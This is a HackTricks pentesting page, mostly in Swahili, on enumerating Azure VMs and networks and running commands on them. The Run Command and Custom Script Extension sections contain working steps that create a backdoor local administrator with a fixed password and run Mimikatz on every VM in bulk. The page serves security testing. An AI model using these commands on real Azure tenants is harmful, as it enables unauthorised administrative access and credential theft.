Az - Virtual Machines & Network

Support HackTricks

Taarifa za Msingi

Kutoka kwenye docs: Mashine za kielektroniki za Azure ni mojawapo ya aina kadhaa za rasilimali za kompyuta zinazopatikana kwa mahitaji ambazo Azure inatoa. Kwa kawaida, unachagua mashine ya kielektroniki unapohitaji udhibiti zaidi juu ya mazingira ya kompyuta kuliko chaguzi nyingine. Makala hii inakupa taarifa kuhusu kile unapaswa kuzingatia kabla ya kuunda mashine ya kielektroniki, jinsi ya kuunda hiyo, na jinsi ya kuisimamia.

Taarifa za Mtandao wa Azure

Mitandao ya Azure ina entiti tofauti na njia za kuikamilisha. Unaweza kupata maelezo mafupi, mfano na amri za kuhesabu za entiti tofauti za mtandao wa Azure katika:

Azure Bastion

Azure Bastion inatoa suluhisho salama, lililohudumiwa kikamilifu la RDP (Remote Desktop Protocol) na SSH (Secure Shell) kupitia SSL kupitia lango la Azure. Imeunganishwa ndani ya Mtandao wa Kielektroniki wa Azure, ikiruhusu muunganisho wa RDP na SSH kwa VMs kwa kutumia IP za kibinafsi, ikiepuka hitaji la IP za umma. Hii inafanya kuwa mbadala salama na rahisi zaidi kwa mbinu za jadi zinazohusisha ugawaji wa IP za umma na usanidi wa sheria za NSG kwa ufikiaji wa VM. Wanaendeleza na wafanyakazi wa IT wanaweza kufikia VMs kwa usalama kutoka kwenye lango la Azure wakitumia vivinjari vya wavuti, wakifanya mchakato kuwa rahisi kwa mazingira ya maendeleo na majaribio.

Ili orodhesha Hosts zote za Azure Bastion katika usajili wako, unaweza kutumia amri ifuatayo:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Uainishaji wa VM

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Kimbia amri katika VM

AAD Kuingia katika VM

Inawezekana kuruhusu ufikiaji kwa watumiaji walioidhinishwa kupitia AzureAD. Kwa mfano, kujaribu kufikia linux VM: ssh username@azure-corp.com@1.1.1.1 (ni muhimu kutumia barua pepe na azurecorp iliyotumika unapojaribu kuingia) unaweza kupata kosa kama:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Fuata maagizo hayo kwa kutembelea https://microsoft.com/devicelogin na kuonyesha msimbo, tumia barua pepe na nenosiri kama ithibitisho na utaweza kuungana kupitia SSH (ikiwa mtumiaji huyo ana ruhusa za kutosha kufanya hivyo: Virtual Machine Administrator Login au Virtual Machine User Login role).

Run Command

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Run Custom Script Extension

Azure virtual machine (VM) extensions ni programu ndogo ambazo zinatoa usanidi wa baada ya kupeleka na kazi za automatisering kwenye Azure VMs. Kwa mfano, ikiwa mashine ya virtual inahitaji usakinishaji wa programu, ulinzi wa antivirus, au uwezo wa kuendesha script ndani yake, unaweza kutumia nyongeza ya VM.

Hivyo, ikiwa una ufikiaji wa kuandika, unaweza kutekeleza msimbo wowote:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) ni chombo cha PowerShell kinachofanana na Ansible, kinachotumika kwa ajili ya kuandaa mwenyeji kupitia msimbo. DSC inajumuisha na Azure, ikiruhusu upakuaji wa faili maalum za usanidi. Faili hizi zinapaswa kufuata sarufi kali. Kwa kuzingatia, nyongeza ya DSC katika Azure inaweza kutekeleza amri kutoka kwa faili ambazo zinakidhi vigezo fulani vya muundo, hata kama sarufi si sahihi kwa viwango vya DSC, kama inavyoonyeshwa katika picha iliyotolewa.

Utekelezaji wa amri hizi unarahisishwa na Publish-AzVMDscConfiguration kazi katika Az PowerShell. Mahitaji ni pamoja na faili ya .PS1 yenye kazi iliyofafanuliwa na faili hiyo inapaswa kufungwa katika faili ya .zip. Ingawa sarufi inaweza kuwa si sahihi kwa DSC, msimbo bado utaweza kutekelezwa. Hata hivyo, nyongeza itakadiria hali ya utekelezaji kama "kushindwa," na hakuna matokeo kutoka kwa amri yatakayokuwa yanaonekana kutokana na hali hiyo kufutwa na ujumbe wa kushindwa.

VM Application Definitions

VM Application Definitions zinaruhusu upakuaji wa kurudiwa wa programu zenye toleo kwa VM ya Azure. Rasilimali hii inasaidia upakuaji na sasisho la programu katika VMs. Ili kuanzisha hii, hatua kadhaa zinahitajika, zikihusisha amri kama New-AzGalleryApplication na New-AzGalleryApplicationVersion katika Az PowerShell.

Utekelezaji wa programu au amri kupitia njia hii unahusisha "VMAppExtension," ambayo inasakinishwa kiotomatiki wakati programu inapowekwa kwenye VM. Nyongeza inachukua faili kutoka URI iliyotolewa na kuipa jina sawa na programu, bila nyongeza. Ili kutekeleza faili hiyo kwa usahihi, uwanja wa "ManageActions" katika wito wa REST API unapaswa kuwekewa jina faili hiyo kwa nyongeza inayofaa. Mpangilio wa njia hii, mara tu ukikamilika, utafanana na muundo ulioonyeshwa katika picha iliyotolewa.

Hata hivyo, njia hii ya utekelezaji ni polepole, ikichukua takriban dakika 3-4 kutekeleza programu au amri. Faili zinazohusiana na mchakato huu zimehifadhiwa katika directories maalum (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ kwa nakala ya programu na C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ kwa hali ya utekelezaji).

Mbinu zote mbili zinatoa njia za kipekee za kutekeleza amri na kupakia programu katika mazingira ya Azure, kila moja ikiwa na seti yake ya mahitaji, hatua, na mambo ya kuzingatia.

Hybrid Worker Groups (HWGs) in Azure

Hybrid Worker Groups (HWGs) ni kipengele katika Azure kinachoruhusu Runbooks, zilizowekwa katika Akaunti ya Automation, kutekelezwa kwenye Mashine Halisi ya Azure (VM) ambayo ni sehemu ya HWG iliyoteuliwa. Utekelezaji huu unarahisishwa kupitia nyongeza iliyosakinishwa kwenye VM, ambayo inapeleka msimbo wa Runbook kwenye VM. Kipengele muhimu cha mchakato huu ni kwamba akreditif halisi si kipengele katika utekelezaji kwa sababu msimbo unatekelezwa kwa mamlaka ya juu, hasa kama SYSTEM au root, kama inavyoonyeshwa katika picha iliyotolewa.

Maelezo muhimu kwa wale wanaotumia VMs za Windows 10 ni hitaji la kubainisha toleo la PowerShell kwa Runbook. Inapaswa kuwekwa kutekelezwa kama Toleo la PowerShell 5.1 badala ya 7.1. Hitaji hili linatokana na ukweli kwamba PowerShell 7.1 haijasanidiwa kwa kawaida kwenye VMs hizi, na kusababisha kushindwa kwa utekelezaji wa skripti ikiwa toleo 7.1 limewekwa.

Kipengele hiki cha Azure kinatoa njia thabiti ya kujiendesha na kusimamia kazi katika mazingira ya mseto, ikiruhusu usimamizi wa kati na utekelezaji wa kazi kwenye VMs za Azure.

References

Support HackTricks

Last updated